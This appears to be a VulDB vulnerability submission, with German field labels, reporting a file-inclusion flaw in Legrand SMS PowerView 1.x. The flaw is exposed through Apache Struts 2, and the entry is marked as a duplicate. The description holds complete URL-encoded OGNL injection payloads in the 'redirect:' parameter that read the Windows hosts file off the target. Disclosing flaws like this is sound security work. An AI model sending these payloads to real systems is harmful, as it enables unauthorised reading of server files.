| Titel | Lagrand SMS PowerView 1.x.x File Inclusion |
|---|
| Beschreibung | In SMS PowerView systems, it is possible to exploit a Local File Inclusion (LFI) vulnerability due to the system using Apache Struts 2. Given this, we have the following payload to demonstrate the possibility of Local File Inclusion:
Viewing the "hosts" file on Windows:
http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()}
https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()} |
|---|
| Quelle | ⚠️ http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%2 |
|---|
| Benutzer | Fr1t0 (UID 82967) |
|---|
| Einreichung | 03.04.2025 21:14 (vor 2 Jahren) |
|---|
| Moderieren | 14.04.2025 14:49 (11 days later) |
|---|
| Status | Duplikat |
|---|
| VulDB Eintrag | 302034 [Legrand SMS PowerView 1.x redirect erweiterte Rechte] |
|---|
| Punkte | 0 |
|---|